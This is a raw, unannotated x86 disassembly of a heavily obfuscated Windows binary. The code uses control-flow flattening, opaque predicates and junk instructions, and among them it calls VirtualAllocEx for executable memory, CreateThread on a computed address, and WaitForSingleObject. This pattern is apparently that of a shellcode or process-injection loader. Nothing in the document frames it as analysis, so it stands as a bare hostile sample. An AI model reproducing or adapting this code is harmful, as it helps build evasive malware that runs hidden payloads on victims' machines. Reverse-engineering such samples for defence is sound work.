xor eax, ecx
or esi, eax
mov ecx, esi
xor ecx, 0x5d80e2e
mov eax, esi
and eax, 0x6fb67a8e
and ecx, esi
not esi
and esi, 0x90498571
or eax, esi
mov edx, eax
xor eax, 0x480420
xor edx, 0x100200
mov esi, eax
or esi, 0x5a230150
and edx, 0x500220
and esi, 0x5fab0d5e
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa054f2a1
or eax, esi
and esi, 0x5fab0d5e
or ecx, esi
not eax
mov esi, dword [ebp - 0x34]
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xfa27f1d1
and eax, 0x5d80e2e
or eax, ecx
setne dl
sete al
cmp dword [0x508180], 0xa
mov dword [ebp - 0x1c0], esi
mov ecx, edx
setge ah
setl ch
and cl, ch
and al, ah
or al, cl
mov cl, dl
xor dl, ah
inc cl
or cl, ch
mov ch, al
xor cl, 1
or cl, dl
mov edx, ecx
and ch, cl
xor dl, 1
mov ah, dl
or dl, al
xor al, 1
and ah, al
xor al, cl
xor dl, 1
or dl, al
or ch, ah
mov eax, 0xd9547d64
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xa5a69a4c
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xd9547d64
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, 0x4fb5aeec
jmp 0x401100
mov eax, 0xe6cae841
jmp 0x401100
not esi
imul ebx
not edi
rol edx, 0xf8
bswap edi
bswap edx
bswap esi
and eax, 0x40
imul edi
imul esi
rcl esi, 0x8f
rcl eax, 0x9a
sbb esi, 0x7d
neg edx
imul esi
neg eax
add esi, 0x76
rcl edi, 0xf3
not eax
inc esi
inc ebx
ror edx, 0xa8
dec eax
rcr eax, 0xec
inc esi
ror edi, 0x6c
inc ebx
rol edi, 0xf
inc edi
and eax, 0x8a
or edi, 0x12
and ebx, 0xd8
bswap edx
bswap edx
bswap edx
bswap edi
sub eax, 0x88
bswap eax
or esi, 0xba
not ebx
not ebx
sub esi, 0x5a
not eax
rcl esi, 0x6b
inc edx
neg ebx
neg edi
rcr eax, 0x7e
ror ebx, 0x89
bswap esi
dec edx
and esi, 0xbf
imul edx
dec edx
not ebx
neg ebx
sbb ebx, 0x50
rcl ebx, 0xc4
bswap esi
bswap edi
add edi, 0xa9
bswap edx
neg eax
rcl edi, 0x99
and ebx, 0x1b
rol eax, 0xd6
bswap eax
or edi, 0xfd
or eax, 0x9d
not eax
rcl ebx, 0xf0
inc ebx
sbb edx, 0x7a
imul eax
sbb edx, 0x9d
ror ebx, 0xf1
bswap eax
rol esi, 0xe9
bswap ebx
add edx, 0x21
dec ebx
sub ebx, 0xd2
sub edi, 0x7c
rcl ebx, 0x23
rol ebx, 0x75
neg eax
mov ebx, 0xb6
or esi, 0x18
rol ebx, 0x41
inc edi
and esi, 0x46
neg eax
and ebx, 0xf6
and edx, 0xbb
sub edi, 8
sub eax, 0x98
mov ebx, 0x32
inc eax
bswap ebx
inc ebx
inc edx
mov ebx, 0xb2
rcl eax, 0x69
dec ebx
not edx
not edx
sub edi, 0x66
inc eax
rcl edi, 0xca
and eax, 0xac
bswap ebx
inc edi
imul eax
imul edi
bswap ebx
not edi
bswap eax
imul edx
not edi
sbb esi, 0x98
not eax
neg eax
rol ebx, 0x2e
inc eax
sbb ebx, 0xd8
dec edx
not edx
not ebx
sbb eax, 0xd4
add eax, 0x96
mov edx, 0xf7
neg edi
bswap eax
imul ebx
inc ebx
add edi, 0xc0
sbb ebx, 0x45
and edi, 0x33
rol ebx, 0xbb
bswap esi
add ebx, 9
sbb esi, 0xd1
or edx, 0x51
rcr eax, 0x44
rcr eax, 0x61
sbb edi, 0x91
sbb esi, 0xf7
not eax
dec edi
sbb eax, 0x91
mov dword [ebp - 0x34], eax
mov eax, 0x2bfee2e8
jmp 0x401100
mov eax, dword [ebp - 0x104]
mov eax, 0x402202c5
jmp 0x401100
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0xe8]
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
setb byte [ebp - 0x7d]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x5aa5f19e
and ecx, 0xa55a0e61
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe30feeda
and ecx, 0x1cf01125
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x900a1c44
xor edx, 0x4655e0bb
xor eax, 0xda5f2ea2
and eax, edx
and ecx, 0x965e1cf6
and edx, 0x69a1e309
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x69a1e309
xor esi, 0xa54d2ef
xor edx, 0x101c1494
and esi, ecx
or ecx, 1
and edx, 0x709cd494
or eax, esi
and ecx, 0x8f632b6b
mov esi, eax
not esi
and eax, 0xa2678922
or ecx, edx
and esi, 0x5d9876dd
xor ecx, 0x8f632b6b
or eax, esi
mov esi, 0xca97855f
xor eax, 0x3e6d473a
or ecx, eax
mov eax, ecx
xor eax, 0xc94b5c6d
and eax, ecx
not ecx
and ecx, 0xc94b5c6d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbb778e3d
and ecx, 0x448871c2
or eax, ecx
mov ecx, eax
xor ecx, 0x20184240
xor eax, 0x8842048c
and ecx, 0x25996b63
and eax, 0xda66949c
or eax, ecx
mov ecx, eax
xor ecx, 0x4916b60
xor eax, 0xa228400
and eax, 0x2b2a8403
and ecx, 0xd4d57bfc
or ecx, eax
xor ecx, 0xd4d57bfc
setne cl
sete ch
cmp dword [0x508180], 0xa
setge dl
setl al
mov ah, dl
or al, cl
xor ah, ch
or ch, dl
and ah, dl
xor dl, cl
mov dh, ch
or dl, ah
xor dh, al
or al, ch
mov ah, dl
xor al, 1
xor ah, 1
or al, dh
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov al, dl
and dl, cl
xor cl, 1
xor al, 1
or ah, cl
and al, cl
mov cl, ah
or dl, al
xor cl, dl
test ah, 1
mov eax, 0x15cac7c1
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x15cac7c1
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401100
imul ebx
bswap eax
mov edx, 0xfa
imul esi
imul edx
add edx, 0xa7
inc eax
neg ebx
imul ebx
rcr edi, 2
rol eax, 0x12
imul ebx
rol edi, 0xb3
dec esi
rol edx, 0x1e
dec edi
imul ebx
sbb edx, 0xf2
dec edx
or edi, 0xde
or esi, 0x96
dec ebx
and edx, 0x44
rcr ebx, 0xce
sub ebx, 0x3d
add eax, 0xd1
inc edx
rcl eax, 0xe2
dec eax
and edi, 0xee
imul edx
neg ebx
ror esi, 0x50
rol ebx, 0x26
dec ebx
sub edx, 0x4d
rcl esi, 0xad
imul ebx
rcl eax, 0x29
ror ebx, 0x88
rcl edi, 0x25
dec edi
bswap esi
not edx
ror edx, 0
imul edi
neg edi
or edx, 0x95
neg ebx
sbb edx, 0x4a
or eax, 0x40
sbb edi, 0x7c
sbb edi, 0x13
not edi
inc eax
rcr ebx, 0x7e
inc edx
bswap eax
dec edi
rol ebx, 0x96
dec eax
rcr eax, 0x30
neg eax
add edx, 0xc1
bswap eax
imul edx
not esi
rcr esi, 0x73
bswap edi
sub esi, 0x9b
dec esi
add ebx, 0xc9
sbb esi, 0xfc
inc eax
bswap edx
mov ebx, 0x7f
or esi, 0x87
mov esi, 0x60
rcr edi, 0x32
neg ebx
imul edx
add eax, 0xa2
inc esi
inc esi
rcl edi, 0x1b
and eax, 0xe8
imul esi
neg edx
neg edi
rol edi, 0x8d
inc edx
mov eax, 0x4f
inc esi
neg ebx
imul edx
sub esi, 0x45
and ebx, 0xb4
inc esi
rol edx, 0x95
imul eax
inc esi
rcl ebx, 0x31
neg edx
sbb esi, 0x93
imul esi
neg ebx
or ebx, 0x25
bswap edi
sbb eax, 0xc7
add eax, 0xd
or edi, 0xaa
inc edi
neg esi
inc ebx
imul edx
sbb eax, 0xe
neg eax
sbb edi, 0x33
or esi, 9
sub ebx, 0xaf
neg edx
ror esi, 0xde
rol esi, 0x92
mov edi, 0x4f
inc ebx
sbb eax, 0x7b
rcr edi, 0x33
sbb edi, 0x60
neg edi
not ebx
rol eax, 0xfc
bswap ebx
not esi
bswap ebx
bswap eax
sub eax, 0x9c
neg edx
rcr esi, 0xb0
and esi, 0x5e
bswap ebx
neg edi
rcl esi, 0xc9
dec esi
rcl esi, 0x85
ror esi, 0xb0
not eax
bswap eax
bswap eax
imul eax
neg edi
mov dword [ebp - 0x34], eax
mov eax, 0x56f36538
jmp 0x401100
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0xa8], 0
mov eax, dword [eax + 0x38]
setne byte [ebp - 0x79]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x67c5809d
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x983a7f62
and edx, 0x67c5809d
or edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0x5a3e591e
mov esi, ecx
mov edi, eax
and esi, 0x83c0822c
and edi, 0x240124c1
or edi, esi
mov esi, edx
xor esi, 0xa5c1a6e1
and esi, edx
and edx, 0xeb24e8a2
mov ebx, esi
not ebx
and esi, 0x7c3f7dd3
or ecx, ebx
and ebx, 0x83c0822c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa5c1a6e0
and esi, 0x5a3e591f
or ecx, esi
mov esi, eax
and esi, 0x14db175d
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x6b24e021
xor esi, 0x10930048
or eax, edx
and esi, 0x909308ca
and eax, 0x6f6cf735
or eax, esi
xor eax, 0x6f6cf735
or eax, ecx
mov edx, eax
xor edx, 0xdda9ccd9
mov ecx, eax
and ecx, 0x3158407e
and edx, eax
not eax
and eax, 0xcea7bf81
or ecx, eax
mov eax, ecx
xor ecx, 0xcca18c81
xor eax, 0x10004018
or ecx, 0x22563326
and eax, 0x58204019
mov esi, ecx
and esi, 0x878b8dc0
or eax, esi
mov esi, edx
not esi
and edx, 0x7874723f
or ecx, esi
and esi, 0x878b8dc0
or edx, esi
not ecx
mov esi, 0xe1375bd
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x89e1d0a
and eax, 0xf761e2f5
or ecx, eax
cmp ecx, 0xd537d1d3
setne al
cmp dword [0x508180], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd5fcb0e
cmovne ecx, esi
test al, 1
mov eax, 0xd5fcb0e
jmp 0x4010ec
mov ecx, dword [0x508184]
mov dword [ebp - 0x8c], 0
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x10243a20
mov esi, ecx
mov edi, ecx
or esi, 0x802808c
and edx, 0x1826baac
and edi, 0xe6080051
and ecx, 0xe1390163
or edi, edx
mov edx, eax
and esi, 0x1826baac
and edx, 0x1d14502
and eax, 0x1ec6fe9c
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x1ec6fe9c
xor eax, 0xe1390163
mov edi, 0x2f4d22c4
mov esi, edx
not esi
and edx, 0xee0a80dc
and esi, 0x11f57f23
or edx, esi
mov esi, 0x187d8d69
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x508180], 0xa
mov dh, dl
setge al
setl ch
mov cl, al
or dh, ch
xor cl, dl
and dl, ch
xor dh, 1
and cl, ch
mov ch, al
xor ch, ah
or cl, dh
and ch, al
and al, ah
or al, dl
or al, ch
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x2f4d22c4
cmovne eax, edi
test dl, dl
cmove eax, edi
jmp 0x401100
cmp byte [ebp - 0x7f], 0
mov eax, 0xf09ed525
mov ecx, 0x25017683
cmovne eax, ecx
jmp 0x401100
mov eax, 0x929c17f8
jmp 0x401100
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, 0x73b0d1ef
jmp 0x401100
mov eax, dword [ebp - 0xb4]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
imul edx
rol esi, 0x90
neg edx
inc edx
neg ebx
dec esi
mov edx, 0xaf
inc eax
or edx, 0xb4
rcl eax, 0x5c
and eax, 0x91
rcr eax, 0x5d
sub esi, 0x5d
imul edi
neg esi
not edx
rcr edx, 0x96
inc esi
rcl edx, 0xb2
not ebx
not esi
bswap edi
add ebx, 0xfb
rcl esi, 0x2a
mov edx, 0xac
sub edi, 0x38
not ebx
bswap edi
imul esi
neg ebx
rol eax, 0xc7
mov eax, 0x99
sbb eax, 0xfc
not ebx
rcr edi, 0x71
ror ebx, 0x71
bswap ebx
add esi, 0x73
inc edi
inc edi
neg edi
ror edi, 0x81
inc eax
mov edx, 0x49
sub ebx, 0x5a
and esi, 0x21
rol ebx, 0x2b
or edi, 0x91
rcr edx, 0x78
dec edi
sub edx, 0xa7
not esi
ror edi, 0x62
rol eax, 0x34
rcr esi, 0x93
rcl edi, 0x37
inc ebx
sub ebx, 0x83
mov edx, 0x18
rol edx, 0x6b
sbb eax, 0x46
rcr edi, 0xc8
and esi, 0x3d
ror ebx, 0x47
imul eax
or eax, 0x4a
add eax, 0x2d
neg esi
rol eax, 5
mov ebx, 0x47
or eax, 0x2b
not edx
add esi, 0xb8
or esi, 0xdf
sbb esi, 0x24
sbb esi, 0x73
inc eax
and ebx, 0xc1
dec edx
dec esi
add ebx, 0x9a
mov edx, 0xa6
sub ebx, 0xe1
sub eax, 0x72
ror ebx, 0xbf
rol edi, 0x6f
rcr edi, 0xb3
sbb edi, 0xdb
and esi, 0xc1
rol esi, 0x39
mov eax, 0xc8
inc ebx
sbb ebx, 0x77
rcl ebx, 0xb1
rol edx, 0x8e
and ebx, 0x15
sub edi, 0xc9
rcl eax, 0xf8
bswap eax
imul ebx
ror edx, 0xfd
not esi
rol edi, 0x60
sub esi, 0x5c
neg eax
neg edi
sub ebx, 0x84
mov eax, 0x5c
rol edi, 0xd1
imul edi
and esi, 0x78
not edx
sbb edx, 0x6c
rcr esi, 0x26
imul esi
or ebx, 0xfd
sbb edx, 0x68
bswap esi
mov esi, 0x62
not esi
rol esi, 0x20
bswap ebx
ror edx, 0xba
sub esi, 0x85
bswap eax
bswap esi
dec edx
dec edx
rcl esi, 0xf7
and edx, 0x79
mov ebx, 0x5f
or eax, 0xfa
dec ebx
mov edi, 0x58
or eax, 0xdd
not eax
not ebx
or esi, 0x6e
rcr eax, 0x25
mov ebx, 0x29
sbb ebx, 0x7a
rol edi, 0x9c
rcr ebx, 0x36
rcr edi, 0x79
rcr edi, 0x66
sub eax, 0x99
mov ebx, 0xe3
rol eax, 0x4a
or edx, 0xd4
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x28], 1
mov eax, 0x681bd0ab
jmp 0x401100
mov eax, dword [ebp - 0x98]
mov ecx, eax
not ecx
and eax, 0x3d7fa193
and ecx, 0xc2805e6c
or eax, ecx
mov ecx, eax
xor ecx, 0x1048011
xor eax, 0x800268
and eax, 0x3cfb23ea
and ecx, 0xc304dc15
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xc2048415
xor eax, 0x3cfb23ea
xor edx, 0x7cfb23ea
and edx, eax
and ecx, 0xc62da595
and eax, 0x39d25a6a
or eax, ecx
xor eax, 0x79d25a6a
or eax, edx
mov ecx, eax
xor ecx, 0x8432bfa4
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x7bcd405b
and eax, 0x8432bfa4
or eax, ecx
mov ecx, dword [0x508184]
setne byte [ebp - 0x86]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xc601fb68
mov edi, edx
mov esi, ecx
and esi, 0x40feb826
and edi, 0x39000491
and edx, 0x32a00e80
or edi, esi
mov esi, eax
xor esi, 0x39fe0497
and esi, eax
and eax, 0xcd5ff17f
mov ebx, esi
not ebx
and esi, 0xbf0147d9
or eax, edx
or ecx, ebx
and ebx, 0x40feb826
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x39fe0496
and esi, 0xc601fb69
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x115f0057
mov esi, edx
and esi, 0xeea0ffa8
or ecx, esi
mov esi, eax
xor esi, 0x15f0057
xor eax, 0x22a00e80
and eax, 0xeea0ffa8
and esi, 0x115f0057
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xd650c375
setne dl
sete ah
cmp dword [0x508180], 0xa
setl al
setge cl
mov ch, al
and dl, al
or al, ah
and cl, ah
or cl, dl
xor ch, ah
xor al, 1
or al, ch
mov edx, ecx
xor dl, al
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
test al, 1
mov eax, 0x44bc581a
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x44bc581a
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, 0x7776f4cc
jmp 0x401100
cmp byte [ebp - 0x86], 0
mov eax, 0xf459a95a
mov ecx, 0x54bf347b
cmovne eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x38]
mov eax, 0x58b47ffc
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf6f6d9af
and edx, 0x9092650
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf160e4cd
and edx, 0xe9f1b32
or ecx, edx
mov edx, ecx
xor edx, 0xf869c29c
xor ecx, 0x7963d63
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
setne cl
sete dl
cmp dword [0x508180], 0xa
setge ah
setl al
mov ch, ah
xor al, dl
xor ch, dl
and ch, ah
inc ah
xor dl, ah
or ah, cl
or al, ch
and dl, cl
xor ah, 1
mov ecx, 0xd5cc55e
or ah, dl
mov edx, 0x15d1d14e
xor al, ah
and al, 1
cmovne ecx, edx
test al, ah
cmove ecx, edx
mov edx, 0xd5cc55e
jmp 0x40d01e
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x110], eax
mov eax, 0x2522dfe9
cmp eax, 0xb808a857
je 0x40e942
cmp eax, 0x2522dfe9
jne 0x40ae60
not ebx
add edi, 0x62
rcl edx, 0x6a
and edx, 0x59
ror edi, 0xb
inc edx
mov ebx, 0x68
neg ebx
sub edx, 0xad
or edi, 0xb6
not eax
bswap eax
add edx, 0x70
not eax
and esi, 0xe4
neg edi
bswap ebx
ror ebx, 0x5c
not eax
rcr esi, 0x3e
and ebx, 0x77
ror edx, 0x9c
or edi, 0x14
rcr esi, 0x78
inc edx
ror esi, 0x6c
not edx
sbb esi, 0xd7
mov edx, 0x26
rcr edx, 0xfb
bswap edi
add esi, 0x24
rcr edx, 0xbd
or edi, 0x52
imul ebx
neg edi
bswap esi
bswap edi
bswap edi
inc edi
neg eax
ror eax, 0x8b
add ebx, 0xa0
rol edi, 0x18
not eax
neg edx
imul eax
or edi, 0x2f
neg esi
and ebx, 0x54
dec esi
neg edx
bswap edi
rol edi, 0x40
neg ebx
neg edi
dec edi
ror edi, 0xce
rcr eax, 5
mov ebx, 0xf0
dec ebx
rol edx, 0x38
bswap edx
or edx, 0x5e
inc ebx
rol edi, 0xf1
or eax, 0x59
rol edx, 0x36
rol edx, 0x21
bswap edi
not esi
bswap esi
ror esi, 0x2a
bswap eax
imul eax
dec edi
rol edi, 0x48
bswap eax
not edx
imul esi
rcl edx, 0x4b
rol edi, 0x6e
imul ebx
sub eax, 0x82
rol ebx, 0x57
or esi, 0x15
bswap esi
rol ebx, 0xbd
add ebx, 0x1a
not eax
add eax, 0xb0
rcr ebx, 0x32
imul edx
not ebx
mov esi, 0xd1
and edi, 0xc5
add edx, 0x4d
imul edi
mov eax, 0x8c
neg edi
bswap eax
sub esi, 0xba
bswap esi
not esi
ror eax, 0x92
bswap eax
rcr eax, 0x3f
and eax, 0xbf
sbb eax, 0xb2
and esi, 0xc2
neg ebx
sbb edx, 0xc
imul ebx
inc edx
bswap edi
imul ebx
or ebx, 0x6a
not eax
add edi, 0x20
sbb ebx, 0xa7
dec edx
inc edi
dec esi
neg eax
inc esi
ror ebx, 0xe8
neg esi
inc ebx
imul edx
rol eax, 0x82
rol eax, 0x3f
inc eax
ror eax, 0x13
add edi, 0xa6
not edx
rcr edi, 0xbf
rcr eax, 0x9c
rol edx, 0x22
add edx, 0xbf
rcl eax, 0x55
and ebx, 0xf4
add edi, 0x19
sub ebx, 0xa1
inc edx
and edx, 0x89
not edi
neg edx
or edi, 0x4d
and ebx, 0x63
mov esi, 0xc2
mov eax, 0xb808a857
jmp 0x40ae60
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x9f5187d6
mov esi, ecx
and esi, 0x60ae7828
and ecx, 0xc78f3ceb
or eax, esi
mov esi, eax
xor esi, 0x80187d0
xor eax, 0x60ae7829
mov edi, eax
and edi, 0x97582007
and esi, 0x68a7dff8
or esi, edi
mov edi, edx
xor edi, 0xfffffffe
and edi, edx
mov ebx, edi
not ebx
and edi, 0x68a7dff8
or eax, ebx
and ebx, 0x97582007
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x2760d934
and esi, 0xd89f26cb
or eax, esi
mov esi, eax
xor esi, 0x7001820
xor eax, 0xd89f26cb
mov edi, eax
or eax, edx
and edx, 0x3870c314
and edi, 0x3870c314
and esi, 0xc78f3ceb
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x974d1b48
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8e7e8972
and ecx, 0x7181768d
or eax, ecx
xor eax, 0x8e7e8972
sete dl
setne ah
cmp dword [0x508180], 0xa
mov dh, dl
setl al
setge cl
mov ch, al
and dh, cl
or cl, dl
and ch, ah
or ah, al
or al, dl
xor cl, 1
xor ah, 1
or dh, ch
xor al, 1
or cl, ah
or al, dh
mov edx, ecx
mov ah, al
xor dl, al
not ah
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x139573ed
jmp 0x40d60c
push 0x40
push 0x3000
mov eax, dword [ebp - 0x20]
push dword [eax + 0x50]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xc2d0627c
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x6dc840
mov edx, eax
mov edi, eax
or edx, 0x280012a0
and esi, 0x286ddae0
and edi, 0x97120102
and eax, 0xff2ccfd2
or edi, esi
mov esi, ecx
and edx, 0x286ddae0
and esi, 0x4080241d
or esi, edx
xor esi, edi
mov edx, esi
not edx
and esi, 0xa3620add
and edx, 0x5c9df522
or esi, edx
mov edx, esi
xor edx, 0x601826
xor esi, 0x4301c481
and esi, 0x5f11c5d9
and edx, 0xa0ee3a26
or edx, esi
mov esi, edx
xor esi, 0xa02c0a02
xor edx, 0x5f11c5d9
mov edi, edx
or edx, ecx
and ecx, 0xd3302d
and edi, 0xd3302d
and esi, 0xff2ccfd2
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x8d2fac3c
or edx, eax
xor edx, 0xffffffff
setne ah
sete cl
cmp dword [0x508180], 0xa
setge al
setl dl
mov ch, al
or al, ah
xor cl, dl
xor dl, ah
xor ch, ah
xor al, 1
xor dl, 1
or al, ch
mov ch, cl
xor al, 1
xor ch, 1
or al, dl
mov edx, eax
not dl
and dl, ch
or ch, al
and al, cl
or al, dl
mov edx, 0x24f07085
mov cl, al
xor cl, ch
test al, al
mov eax, 0x24f07085
cmovne eax, esi
test ch, 1
jmp 0x40de7c
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, 0xf09ed525
jmp 0x401100
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, 0xc38d791e
jmp 0x401100
mov eax, 0x9478fe0a
jmp 0x401100
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x130]
cmp ecx, dword [eax]
mov eax, 0x460cc04a
mov ecx, 0x79ef880b
cmove eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x1c]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov ecx, 0xfc9a8332
mov eax, dword [ebp - 0x60]
cmp byte [eax], 0
mov eax, 0x7bc459a3
cmove eax, ecx
jmp 0x401100
cmp byte [ebp - 0x81], 0
mov eax, 0x82eeff82
mov ecx, 0xcf13fde0
cmovne eax, ecx
jmp 0x401100
mov eax, 0x4c34b09d
jmp 0x401100
mov dword [ebp - 0x28], 0xc
mov eax, 0xacdd768e
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x44036484
mov esi, edx
and esi, 0xbbfc9b7a
and edx, 0x75245c2a
or ecx, esi
mov esi, ecx
xor esi, 0x4004080
xor ecx, 0xbbfc9b7b
mov edi, ecx
and edi, 0x61c7a407
and esi, 0x9e385bf8
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x8adba3d5
mov ebx, edi
not ebx
and edi, 0x9e385bf8
or eax, edx
or ecx, ebx
and ebx, 0x61c7a407
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xae273b1d
mov esi, edx
and esi, 0x51d8c4e2
or ecx, esi
mov esi, eax
xor esi, 0x8a032315
xor eax, 0x51004422
and eax, 0x51d8c4e2
and esi, 0xae273b1d
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xd392b81
setne ch
sete ah
cmp dword [0x508180], 0xa
setl cl
setge dl
mov al, cl
and ch, cl
and dl, ah
xor al, ah
or dl, ch
mov dh, al
and al, cl
or cl, ah
and dh, ah
xor al, 1
xor cl, 1
xor dh, 1
or cl, dl
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or dl, ah
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x1b21e447
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x1b21e447
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401100
mov eax, 0x917a80b7
jmp 0x401100
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xa0]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xc0], ecx
mov eax, 0x6414caf3
jmp 0x401100
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xba342d49
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x45cbd2b6
and edx, 0xa0142840
mov esi, eax
not esi
mov edi, ecx
and edi, 0x1ae117bb
and eax, 0xe51ee844
or ecx, esi
and esi, 0x1ae117bb
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x8d54fbe3
and eax, 0x72ab041c
or ecx, eax
mov eax, ecx
xor ecx, 0xc8970854
xor eax, 0x3760d6aa
mov edx, eax
and ecx, 0xee974e7c
and edx, 0x1168b183
and eax, 0x37c9e4fc
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x1168b183
xor esi, 0x26a1557f
xor edx, 0xc2970a74
and esi, ecx
